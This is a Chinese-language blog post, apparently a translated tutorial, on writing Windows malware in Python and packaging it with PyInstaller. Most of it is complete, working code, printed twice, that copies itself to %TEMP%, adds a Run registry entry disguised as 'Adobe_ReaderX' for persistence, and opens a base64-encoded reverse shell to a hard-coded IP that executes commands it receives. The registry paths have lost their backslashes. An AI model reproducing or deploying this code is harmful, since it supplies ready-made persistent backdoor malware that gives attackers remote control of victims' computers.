python热爱者Python新世界

如何用Python和PyInstaller编写Windows恶意

2018-11-03  本文已影响3人  48e0a32026ae

本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc。

众所周知的,恶意软件多会对目标进行持续性的攻击。 学习Python中有不明白推荐加入交流群

                号:516107834

                群里有志同道合的小伙伴,互帮互助,

                群里有不错的学习教程!

而这一点在windows上有很多方法可以实现,最常见的做法是修改以下注册表项:“SoftwareMicrosoftWindowsCurrentVersionRun”。以下是对利用python去复制程序到%TEMP%目录,然后对注册表进行修改使得这段代码可以在用户登录电脑时执行。

import sys, base64, os, socket, subprocess

from _winreg import *

def autorun(tempdir, fileName, run):

# Copy executable to %TEMP%:

os.system('copy %s %s'%(fileName, tempdir))

# Queries Windows registry for key values

# Appends autorun key to runkey array

key = OpenKey(HKEY_LOCAL_MACHINE, run)

runkey =[]

try:

i = 0

while True:

subkey = EnumValue(key, i)

runkey.append(subkey[0])

i += 1

except WindowsError:

pass

# Set autorun key:

if 'Adobe ReaderX' not in runkey:

try:

key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)

SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.exe")

key.Close()

except WindowsError:

pass

在将代码放到 %TEMP%目录中并且设置了持续性之后,我们就可以执行下一部分代码,反向的壳。这里我利用了TrustedSec公布的python的反向shell,不过进行了一些修改—对网络流量进行Base64编码。

def shell():

#Base64 encoded reverse shell

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('192.168.56.1', int(443)))

s.send('[*] Connection Established!')

while 1:

data = s.recv(1024)

if data == "quit": break

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

stdout_value = proc.stdout.read() + proc.stderr.read()

encoded = base64.b64encode(stdout_value)

s.send(encoded)

#s.send(stdout_value)

s.close()

def main():

tempdir = '%TEMP%'

fileName = sys.argv[0]

run = "SoftwareMicrosoftWindowsCurrentVersionRun"

autorun(tempdir, fileName, run)

shell()

if __name__ == "__main__":

main()

现在当这个程序执行时,它将会打开一个反向shell返回到“攻击者”。在这种情况下“攻击者”只是脚本中硬编码的ip,但在一个域或者亚马逊云上却是非常简单轻松的。下图展示了程序在Windows主机上执行并连接到攻击者,你可以注意到这里的网络流量是base64编码的:

以下是完整的代码:

import sys, base64, os, socket, subprocess

from _winreg import *

def autorun(tempdir, fileName, run):

# Copy executable to %TEMP%:

os.system('copy %s %s'%(fileName, tempdir))

# Queries Windows registry for the autorun key value

# Stores the key values in runkey array

key = OpenKey(HKEY_LOCAL_MACHINE, run)

runkey =[]

try:

i = 0

while True:

subkey = EnumValue(key, i)

runkey.append(subkey[0])

i += 1

except WindowsError:

pass

# If the autorun key "Adobe ReaderX" isn't set this will set the key:

if 'Adobe ReaderX' not in runkey:

try:

key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)

SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.exe")

key.Close()

except WindowsError:

pass

def shell():

#Base64 encoded reverse shell

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('192.168.56.1', int(443)))

s.send('[*] Connection Established!')

while 1:

data = s.recv(1024)

if data == "quit": break

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

stdout_value = proc.stdout.read() + proc.stderr.read()

encoded = base64.b64encode(stdout_value)

s.send(encoded)

#s.send(stdout_value)

s.close()

def main():

tempdir = '%TEMP%'

fileName = sys.argv[0]

run = "SoftwareMicrosoftWindowsCurrentVersionRun"

autorun(tempdir, fileName, run)

shell()

if __name__ == "__main__":

main()

上一篇下一篇

猜你喜欢

热点阅读